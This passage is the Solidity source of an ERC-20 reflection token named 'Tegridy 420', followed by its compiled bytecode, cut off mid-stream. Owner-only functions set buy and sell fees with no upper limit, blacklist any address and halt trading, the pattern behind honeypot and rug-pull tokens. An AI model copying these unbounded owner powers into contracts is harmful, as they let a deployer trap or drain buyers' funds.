_uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set MAx transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610614578063dd62ed3e1461063d578063ea1644d51461067a578063f2fde38b146106a3576101cc565b8063a2a957bb1461055a578063a9059cbb14610583578063bfd79284146105c0578063c3c8cd80146105fd576101cc565b80638f70ccf7116100d15780638f70ccf7146104b25780638f9a55c0146104db57806395d89b411461050657806398a5c31514610531576101cc565b806374010ece146104335780637d1db4a51461045c5780638da5cb5b14610487576101cc565b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f81461039f5780636fc3eaec146103c857806370a08231146103df578063715018a61461041c576101cc565b8063313ce5671461032057806349bd5a5e1461034b5780636b99905314610376576101cc565b80631694505e116101a05780631694505e1461026257806318160ddd1461028d57806323b872dd146102b85780632fd689e3146102f5576101cc565b8062b8cf2a146101d157806306fdde03146101fa578063095ea7b314610225576101cc565b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f860048036038101906101f39190612f2f565b6106cc565b005b34801561020657600080fd5b5061020f61081c565b60405161021c9190613378565b60405180910390f35b34801561023157600080fd5b5061024c60048036038101906102479190612e9b565b610859565b6040516102599190613342565b60405180910390f35b34801561026e57600080fd5b50610277610877565b604051610284919061335d565b60405180910390f35b34801561029957600080fd5b506102a261089d565b6040516102af919061355a565b60405180910390f35b3480156102c457600080fd5b506102df60048036038101906102da9190612e4c565b6108ac565b6040516102ec9190613342565b60405180910390f35b34801561030157600080fd5b5061030a610985565b604051610317919061355a565b60405180910390f35b34801561032c57600080fd5b5061033561098b565b60405161034291906135cf565b60405180910390f35b34801561035757600080fd5b50610360610994565b60405161036d9190613327565b60405180910390f35b34801561038257600080fd5b5061039d60048036038101906103989190612dbe565b6109ba565b005b3480156103ab57600080fd5b506103c660048036038101906103c19190612f70565b610aaa565b005b3480156103d457600080fd5b506103dd610b5c565b005b3480156103eb57600080fd5b5061040660048036038101906104019190612dbe565b610c2d565b604051610413919061355a565b60405180910390f35b34801561042857600080fd5b50610431610c7e565b005b34801561043f57600080fd5b5061045a60048036038101906104559190612f99565b610dd1565b005b34801561046857600080fd5b50610471610e70565b60405161047e919061355a565b60405180910390f35b34801561049357600080fd5b5061049c610e76565b6040516104a99190613327565b60405180910390f35b3480156104be57600080fd5b506104d960048036038101906104d49190612f70565b610e9f565b005b3480156104e757600080fd5b506104f0610f51565b6040516104fd919061355a565b60405180910390f35b34801561051257600080fd5b5061051b610f57565b6040516105289190613378565b60405180910390f35b34801561053d57600080fd5b5061055860048036038101906105539190612f99565b610f94565b005b34801561056657600080fd5b50610581600480360381019061057c9190612fc2565b611033565b005b34801561058f57600080fd5b506105aa60048036038101906105a59190612e9b565b6110ea565b6040516105b79190613342565b60405180910390f35b3480156105cc57600080fd5b506105e760048036038101906105e29190612dbe565b611108565b6040516105f49190613342565b60405180910390f35b34801561060957600080fd5b50610612611128565b005b34801561062057600080fd5b5061063b60048036038101906106369190612ed7565b611201565b005b34801561064957600080fd5b50610664600480360381019061065f9190612e10565b611361565b604051610671919061355a565b60405180910390f35b34801561068657600080fd5b506106a1600480360381019061069c9190612f99565b6113e8565b005b3480156106af57600080fd5b506106ca60048036038101906106c59190612dbe565b611487565b005b6106d4611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610761576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610758906134ba565b60405180910390fd5b60005b8151811015610818576001601060008484815181106107ac577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061081090613894565b915050610764565b5050565b60606040518060400160405280600b81526020017f5465677269647920343230000000000000000000000000000000000000000000815250905090565b600061086d610866611649565b8484611651565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600066038d7ea4c68000905090565b60006108b984848461181c565b61097a846108c5611649565b61097585604051806060016040528060288152602001613da160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061092b611649565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120a19092919063ffffffff16565b611651565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109c2611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a46906134ba565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ab2611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b36906134ba565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b9d611649565b73ffffffffffffffffffffffffffffffffffffffff161480610c135750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bfb611649565b73ffffffffffffffffffffffffffffffffffffffff16145b610c1c57600080fd5b6000479050610c2a81612105565b50565b6000610c77600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612200565b9050919050565b610c86611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0a906134ba565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dd9611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5d906134ba565b60405180910390fd5b8060168190555050565b60165481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ea7611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2b906134ba565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600b81526020017f5465677269647920343230000000000000000000000000000000000000000000815250905090565b610f9c611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611029576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611020906134ba565b60405180910390fd5b8060188190555050565b61103b611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110bf906134ba565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b60006110fe6110f7611649565b848461181c565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611169611649565b73ffffffffffffffffffffffffffffffffffffffff1614806111df5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111c7611649565b73ffffffffffffffffffffffffffffffffffffffff16145b6111e857600080fd5b60006111f330610c2d565b90506111fe8161226e565b50565b611209611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611296576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128d906134ba565b60405180910390fd5b60005b8383905081101561135b5781600560008686858181106112e2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906112f79190612dbe565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061135390613894565b915050611299565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113f0611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461147d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611474906134ba565b60405180910390fd5b8060178190555050565b61148f611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461151c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611513906134ba565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561158c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115839061341a565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b89061353a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611731576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117289061343a565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161180f919061355a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561188c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611883906134fa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f39061339a565b60405180910390fd5b6000811161193f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611936906134da565b60405180910390fd5b611947610e76565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119b55750611985610e76565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611da057601560149054906101000a900460ff16611a44576119d6610e76565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3a906133ba565b60405180910390fd5b5b601654811115611a89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a80906133fa565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b2d5750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b639061345a565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c195760175481611bce84610c2d565b611bd89190613690565b10611c18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0f9061351a565b60405180910390fd5b5b6000611c2430610c2d565b9050600060185482101590506016548210611c3f5760165491505b808015611c57575060158054906101000a900460ff16155b8015611cb15750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611cc95750601560169054906101000a900460ff165b8015611d1f5750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d755750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611d9d57611d838261226e565b60004790506000811115611d9b57611d9a47612105565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e475750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611efa5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611ef95750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611f08576000905061208f565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611fb35750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611fcb57600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120765750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561208e57600a54600c81905550600b54600d819055505b5b61209b84848484612566565b50505050565b60008383111582906120e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e09190613378565b60405180910390fd5b50600083856120f89190613771565b9050809150509392505050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61215560028461259390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612180573d6000803e3d6000fd5b50601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6121d160028461259390919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156121fc573d6000803e3d6000fd5b5050565b6000600654821115612247576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223e906133da565b60405180910390fd5b60006122516125dd565b9050612266818461259390919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156122cb577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156122f95781602001602082028036833780820191505090505b5090503081600081518110612337577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156123d957600080fd5b505afa1580156123ed573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124119190612de7565b8160018151811061244b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506124b230601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611651565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612516959493929190613575565b600060405180830381600087803b15801561253057600080fd5b505af1158015612544573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b8061257457612573612608565b5b61257f84848461264b565b8061258d5761258c612816565b5b50505050565b60006125d583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061282a565b905092915050565b60008060006125ea61288d565b91509150612601818361259390919063ffffffff16565b9250505090565b6000600c5414801561261c57506000600d54145b1561262657612649565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b60008060008060008061265d876128e9565b9550955095509550955095506126bb86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461295190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061275085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461299b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061279c816129f9565b6127a68483612ab6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612803919061355a565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b60008083118290612871576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128689190613378565b60405180910390fd5b506000838561288091906136e6565b9050809150509392505050565b60008060006006549050600066038d7ea4c6800090506128bf66038d7ea4c6800060065461259390919063ffffffff16565b8210156128dc5760065466038d7ea4c680009350935050506128e5565b81819350935050505b9091565b60008060008060008060008060006129068a600c54600d54612af0565b92509250925060006129166125dd565b905060008060006129298e878787612b86565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061299383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506120a1565b905092915050565b60008082846129aa9190613690565b9050838110156129ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129e69061347a565b60405180910390fd5b8091505092915050565b6000612a036125dd565b90506000612a1a8284612c0f90919063ffffffff16565b9050612a6e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461299b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612acb8260065461295190919063ffffffff16565b600681905550612ae68160075461299b90919063ffffffff16565b6007819055505050565b600080600080612b1c6064612b0e888a612c0f90919063ffffffff16565b61259390919063ffffffff16565b90506000612b466064612b38888b612c0f90919063ffffffff16565b61259390919063ffffffff16565b90506000612b6f82612b61858c61295190919063ffffffff16565b61295190919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612b9f8589612c0f90919063ffffffff16565b90506000612bb68689612c0f90919063ffffffff16565b90506000612bcd8789612c0f90919063ffffffff16565b90506000612bf682612be8858761295190919063ffffffff16565b61295190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612c225760009050612c84565b60008284612c309190613717565b9050828482612c3f91906136e6565b14612c7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c769061349a565b60405180910390fd5b809150505b92915050565b6000612c9d612c988461360f565b6135ea565b90508083825260208201905082856020860282011115612cbc57600080fd5b60005b85811015612cec5781612cd28882612cf6565b845260208401935060208301925050600181019050612cbf565b5050509392505050565b600081359050612d0581613d5b565b92915050565b600081519050612d1a81613d5b565b92915050565b60008083601f840112612d3257600080fd5b8235905067ffffffffffffffff811115612d4b57600080fd5b602083019150836020820283011115612d6357600080fd5b9250929050565b600082601f830112612d7b57600080fd5b8135612d8b848260208601612c8a565b91505092915050565b600081359050612da381613d72565b92915050565b600081359050612db881613d89565b92915050565b600060208284031215612dd057600080fd5b6000612dde84828501612cf6565b91505092915050565b600060208284031215612df957600080fd5b6000612e0784828501612d0b565b91505092915050565b60008060408385031215612e2357600080fd5b6000612e3185828601612cf6565b9250506020612e4285828601612cf6565b9150509250929050565b600080600060608486031215612e6157600080fd5b6000612e6f86828701612cf6565b9350506020612e8086828701612cf6565b9250506040612e9186828701612da9565b9150509250925092565b60008060408385031215612eae57600080fd5b6000612ebc85828601612cf6565b9250506020612ecd85828601612da9565b9150509250929050565b600080600060408486031215612eec57600080fd5b600084013567ffffffffffffffff811115612f0657600080fd5b612f1286828701612d20565b93509350506020612f2586828701612d94565b9150509250925092565b600060208284031215612f4157600080fd5b600082013567ffffffffffffffff811115612f5b57600080fd5b612f6784828501612d6a565b91505092915050565b600060208284031215612f8257600080fd5b6000612f9084828501612d94565b91505092915050565b600060208284031215612fab57600080fd5b6000612fb984828501612da9565b91505092915050565b60008060008060808587031215612fd857600080fd5b6000612fe687828801612da9565b9450506020612ff787828801612da9565b935050604061300887828801612da9565b925050606061301987828801612da9565b91505092959194509250565b6000613031838361303d565b60208301905092915050565b613046816137a5565b82525050565b613055816137a5565b82525050565b60006130668261364b565b613070818561366e565b9